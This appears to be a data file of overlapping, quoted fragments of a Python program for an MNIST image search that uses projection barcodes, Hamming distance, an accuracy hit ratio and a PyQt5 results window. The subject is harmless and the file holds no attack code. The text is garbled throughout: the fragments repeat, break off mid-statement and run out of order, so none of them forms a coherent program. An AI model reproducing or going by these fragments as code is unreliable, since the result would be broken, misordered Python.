"digitFolder = int(input(\"enter a digit (0 - 9): \")) def showAllResults(self): fig =",
"file in the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode",
"imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import",
"- 9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES,",
"QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll",
"each bit in both barcodes and calculate how many of these not same",
"= os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode =",
"in range(1, 20, 2)), os.listdir(directory)): # loop thorugh every file in the directory",
"threshold index rotated_image = img.rotate(degree) # rotate the image image2d = np.array(rotated_image) #",
"file imageLocations = [] barcodes = [] with open(\"barcodes.txt\", 'r') as f: line",
"which is there is pixel or there is not row_sum+=pixel # sum of",
"FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show()",
"import math import matplotlib.pyplot as plt import time def hammingDistance(v1, v2): t =",
"s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc))",
"20, 2)), os.listdir(directory)): # loop thorugh every file in the directory selectedImagePath =",
"barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations",
"rotated_image = img.rotate(degree) # rotate the image image2d = np.array(rotated_image) # get 2d",
"read the above notes. Press Enter to continue...\") fig = si.showAllResults() a =",
"current barcode as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) ==",
"image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage",
"+= 1 return t # read thresholds from thresholds.txt and then store them",
"divide this number by 255 to get 0 or 1 which is there",
"digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c ,",
"cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and",
"as plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from",
"# hamming distance 0 means the barcodes are identical which means they are",
"currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount +=",
"import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage =",
"of the row to 1 or 0 based on calculated threshold if row_sum",
"is pixel or there is not row_sum+=pixel # sum of pixels across a",
"image continue # skip elif currentHMD < minHMD: # if the current calculated",
"and image location from barcodes.txt file imageLocations = [] barcodes = [] with",
"class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode",
"resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols,",
"255 as a pixel value divide this number by 255 to get 0",
"enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD == 0: continue",
"are the same image continue # skip elif currentHMD < minHMD: # if",
"sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib # Make sure",
"get Calculate Accuracy Hit Ratio \") input(\"Yes I have read the above notes.",
"fontsize=9, y=0.90) return fig import matplotlib # Make sure that we are using",
"in the barcodes list currentHMD = hammingDistance( barcode, searchBarcode) # check each bit",
"cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to",
"success, minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD",
"initialize row pixel counter for pixel in row: # loop through each pixel",
"barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy = lambda x : x /",
"calculated hamming distance is less than the minimum hamming distance minHMD = currentHMD",
"f: line = f.readline() while line: line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation",
"os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode,",
"= line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop() barcode = [] for bit",
"\")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD)",
"= f.readline() while line: line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop()",
"columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\")",
"is {}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy input(\"Yes I have read the",
"resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success = True return success,",
"= self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success = True",
"si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes,",
"pixel in the row pixel = pixel / 255 # since we have",
"# read image file as cv2 image # ret2, th2 = cv2.threshold(opcv, 0,",
"counter for pixel in row: # loop through each pixel in the row",
"img = Image.fromarray(opcv) # create image from thresholded 2d image array barcode =",
"minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD)",
"imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath): barcode = [] opcv =",
"a single row # thresholds the sum of the row to 1 or",
"fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2, 2 selectedImage",
"to continue...\") print(\"\\n\\n\\nEnter a number between 0 and 9 to search image\") print(\"Enter",
"line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath): barcode = []",
"int(degree / constants.STEP_DEGREE) # find the appropriate threshold index rotated_image = img.rotate(degree) #",
"imageLocations = [] barcodes = [] with open(\"barcodes.txt\", 'r') as f: line =",
"= barcode # set the current barcode as imageLoc = self.imageLocations[i] resultDigitGroup =",
"result image location for i, barcode in enumerate(self.barcodes): # loop through every barcode",
"continue...\") print(\"\\n\\n\\nEnter a number between 0 and 9 to search image\") print(\"Enter a",
"pixel in row: # loop through each pixel in the row pixel =",
"or white img = Image.fromarray(opcv) # create image from thresholded 2d image array",
"pixel or there is not row_sum+=pixel # sum of pixels across a single",
"both barcodes and calculate how many of these not same if currentHMD ==",
"barcodes are identical which means they are the same image continue # skip",
"hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath",
"list currentHMD = hammingDistance( barcode, searchBarcode) # check each bit in both barcodes",
"read the above notes. Press Enter to continue...\") si = SearchSimilar() # search",
"/ constants.STEP_DEGREE) # find the appropriate threshold index rotated_image = img.rotate(degree) # rotate",
"barcode that corresponds to the minimum hamming distance imageLoc = None # result",
"= int(input(\"enter a digit (0 - 9): \")) while digitFolder >= 0 and",
"row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio:",
"same image continue # skip elif currentHMD < minHMD: # if the current",
"Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results at Once\") input(\"Yes I have",
"minimum hamming distance minHMD = currentHMD # then set minimum hamming distance to",
"__init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc",
"line = line.split(\",\") imageLocation = line.pop() barcode = [] for bit in line:",
"self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas)",
"notes. Press Enter to DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the",
"= 0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory",
"searchDigitGroup): success = False # variable for holding the success information minHMD =",
"= None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode)",
"imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a",
"# apply threshold it just makes pixel values either black or white img",
"[] with open('./thresholds.txt', 'r') as f: threshold = f.readline() while threshold: threshold =",
"from barcodes.txt file imageLocations = [] barcodes = [] with open(\"barcodes.txt\", 'r') as",
"currentHMD minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc))",
"matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg",
"threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() # read barcode and",
"\") input(\"Yes I have read the above notes. Press Enter to continue...\") si",
"{}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy input(\"Yes I have read the above",
"currentHMD < minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\")",
"there is pixel or there is not row_sum+=pixel # sum of pixels across",
"plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder",
"plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib # Make sure that we",
"at Once...\") print(\"\\n\\n\\nSearching all the images in the dataset and finding results...\") print(\"Once",
"{}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2, 2",
"or 1 which is there is pixel or there is not row_sum+=pixel #",
"the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is (maxiumum",
"information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is (maxiumum hamming distance",
"print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming",
"barcode.append(0) degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes",
"self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll =",
"constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory",
"255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it just makes pixel values either",
"through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i,",
"and then store them into thresholds list thresholds = [] with open('./thresholds.txt', 'r')",
"imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success = True return success, minHMD, imageLoc,",
"return success, minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode):",
"file as cv2 image # ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY +",
"# since we have either 0 or 255 as a pixel value divide",
"(constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is (maxiumum hamming distance + 1) by",
"big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns,",
"loop through each row in thresholded image row_sum = 0 # initialize row",
"r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search",
"NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget()",
"Accuracy Hit Ratio \") input(\"Yes I have read the above notes. Press Enter",
"from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class",
"# check each bit in both barcodes and calculate how many of these",
"None # result image location for i, barcode in enumerate(self.barcodes): # loop through",
"while digitFolder >= 0 and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c,",
"= img.rotate(degree) # rotate the image image2d = np.array(rotated_image) # get 2d representation",
"= create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult",
"from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp =",
"means they are the same image continue # skip elif currentHMD < minHMD:",
"to see the results\") input(\"Yes I have read the above notes. Press Enter",
"= f.readline() f.close() def create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath, 0) #",
"i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD",
"self.barcodes = barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy = lambda x :",
"barcodes.txt file imageLocations = [] barcodes = [] with open(\"barcodes.txt\", 'r') as f:",
"'r') as f: line = f.readline() while line: line = line.rstrip(\"\\n\") line =",
"above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD =",
"loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) #",
"cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it just makes pixel values either black",
"self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc =",
"directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName))",
"import Image import numpy as np import constants import os import math import",
"print(minHMD) minBarcode = None imageLoc = None for i, barcode in enumerate(barcodes): print(imageLocations[i])",
"import cv2 from PIL import Image import numpy as np import constants import",
"folder path for imageName in os.listdir(directory): # loop thorugh every file in the",
"currentHMD < minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] return",
"= r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c , \" - \", imageName)",
"hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success = False # variable for holding the",
"y=0.90) return fig import matplotlib # Make sure that we are using QT5",
"image image2d = np.array(rotated_image) # get 2d representation of the rotated image for",
"on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE",
"# loop thorugh every file in the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking",
"= [] degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop through MIN_DEGREE",
"minHMD = currentHMD # then set minimum hamming distance to current calculated hamming",
"= constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1",
"imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy",
": x / 100 successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop",
"Press Enter to continue...\") print(\"\\n\\n\\nEnter a number between 0 and 9 to search",
"imageName in zip((i for i in range(1, 20, 2)), os.listdir(directory)): # loop thorugh",
"class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations def",
"digitFolder >= 0 and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName",
"zip((i for i in range(1, 20, 2)), os.listdir(directory)): # loop thorugh every file",
"from thresholded 2d image array barcode = [] degree = constants.MIN_DEGREE while degree",
"hamming distance imageLoc = None # result image location for i, barcode in",
"int(input(\"select image from above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode =",
"imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0 - 9): \")) while",
"'r') as f: threshold = f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold",
"resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4)",
"the row pixel = pixel / 255 # since we have either 0",
"that corresponds to the minimum hamming distance imageLoc = None # result image",
"as f: line = f.readline() while line: line = line.rstrip(\"\\n\") line = line.split(\",\")",
"FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self,",
"thresholds.append(float(threshold)) threshold = f.readline() f.close() # read barcode and image location from barcodes.txt",
"self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig)",
"r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\")",
"= imageLocations def calculateAccuracy(self): accuracy = lambda x : x / 100 successCount",
"this number by 255 to get 0 or 1 which is there is",
"accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy input(\"Yes I",
"+= 1 hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success =",
"as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success",
"the current calculated hamming distance is less than the minimum hamming distance minHMD",
"less than the minimum hamming distance minHMD = currentHMD # then set minimum",
"= lambda x : x / 100 successCount = 0 for currDigit in",
"MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find the",
"= currentHMD minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location:",
"pixel values either black or white img = Image.fromarray(opcv) # create image from",
"directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName in os.listdir(directory): # loop",
"= cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage =",
"is less than the minimum hamming distance minHMD = currentHMD # then set",
"to current calculated hamming distance minBarcode = barcode # set the current barcode",
"= imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10,",
"0 and 9 to search image\") print(\"Enter a number smaller than 0 or",
"Accuracy Hit Ratio\") print(\"Show All Results at Once\") input(\"Yes I have read the",
"barcode # set the current barcode as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\",",
"Hit Ratio \") input(\"Yes I have read the above notes. Press Enter to",
"= currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1)",
"(0 - 9): \")) while digitFolder >= 0 and digitFolder <= 9: directory",
"= 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\",",
"loop thorugh every file in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode =",
"= barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode))",
"the minimum hamming distance minHMD = currentHMD # then set minimum hamming distance",
"c, imageName in enumerate(os.listdir(directory)): print(c , \" - \", imageName) selectImage = int(input(\"select",
"the appropriate threshold index rotated_image = img.rotate(degree) # rotate the image image2d =",
"plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a digit (0 - 9): \"))",
"accuracy input(\"Yes I have read the above notes. Press Enter to DISPLAY ALL",
"see the results\") input(\"Yes I have read the above notes. Press Enter to",
"opcv = cv2.imread(imagePath, 0) # read image file as cv2 image # ret2,",
"for row in image2d: # loop through each row in thresholded image row_sum",
"plt import time def hammingDistance(v1, v2): t = 0 for i in range(len(v1)):",
"resultImgLoc)) # time.sleep(0.5/4) if s: successCount += 1 hitRatio = accuracy(successCount) return hitRatio",
"cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it just makes pixel",
"accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success = False # variable for",
"None imageLoc = None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance(",
"you exit Search Menu you will get Calculate Accuracy Hit Ratio \") input(\"Yes",
"thresholds list thresholds = [] with open('./thresholds.txt', 'r') as f: threshold = f.readline()",
"# calculate and display the accuracy input(\"Yes I have read the above notes.",
"x / 100 successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through",
"barcode = [] opcv = cv2.imread(imagePath, 0) # read image file as cv2",
"Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a",
"in the dataset and finding results...\") print(\"Once you get the window maximize the",
"1 return t # read thresholds from thresholds.txt and then store them into",
"ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images in the dataset and",
">= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def",
"read the above notes. Press Enter to DISPLAY ALL THE RESULTS at Once...\")",
"image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode,",
"for i in range(len(v1)): if v1[i] != v2[i]: t += 1 return t",
"= [] with open('./thresholds.txt', 'r') as f: threshold = f.readline() while threshold: threshold",
"resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode,",
"if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return barcode class",
"thresholds from thresholds.txt and then store them into thresholds list thresholds = []",
"store them into thresholds list thresholds = [] with open('./thresholds.txt', 'r') as f:",
"f.readline() f.close() def create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath, 0) # read",
"of the rotated image for row in image2d: # loop through each row",
"for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit)",
"[] barcodes = [] with open(\"barcodes.txt\", 'r') as f: line = f.readline() while",
"def checkSuccess(self, searchBarcode, searchDigitGroup): success = False # variable for holding the success",
"currentHMD == 0: # hamming distance 0 means the barcodes are identical which",
"r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\")",
"v2): t = 0 for i in range(len(v1)): if v1[i] != v2[i]: t",
"resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath,",
"image row_sum = 0 # initialize row pixel counter for pixel in row:",
"Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns",
"hammingDistance( barcode, searchBarcode) # check each bit in both barcodes and calculate how",
"for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath):",
"= FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll)",
"thresholds = [] with open('./thresholds.txt', 'r') as f: threshold = f.readline() while threshold:",
"while line: line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop() barcode =",
"the image image2d = np.array(rotated_image) # get 2d representation of the rotated image",
"and 9 to search image\") print(\"Enter a number smaller than 0 or greater",
"barcodes list currentHMD = hammingDistance( barcode, searchBarcode) # check each bit in both",
"to search image\") print(\"Enter a number smaller than 0 or greater than 9",
"# get 2d representation of the rotated image for row in image2d: #",
"imageLocation = line.pop() barcode = [] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode)",
"value divide this number by 255 to get 0 or 1 which is",
"is not row_sum+=pixel # sum of pixels across a single row # thresholds",
"= [] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close()",
"def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0)",
"# loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE)",
"# loop through each row in thresholded image row_sum = 0 # initialize",
"# read barcode and image location from barcodes.txt file imageLocations = [] barcodes",
"= int(degree / constants.STEP_DEGREE) # find the appropriate threshold index rotated_image = img.rotate(degree)",
"for holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It",
"set minimum hamming distance to current calculated hamming distance minBarcode = barcode #",
"resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from",
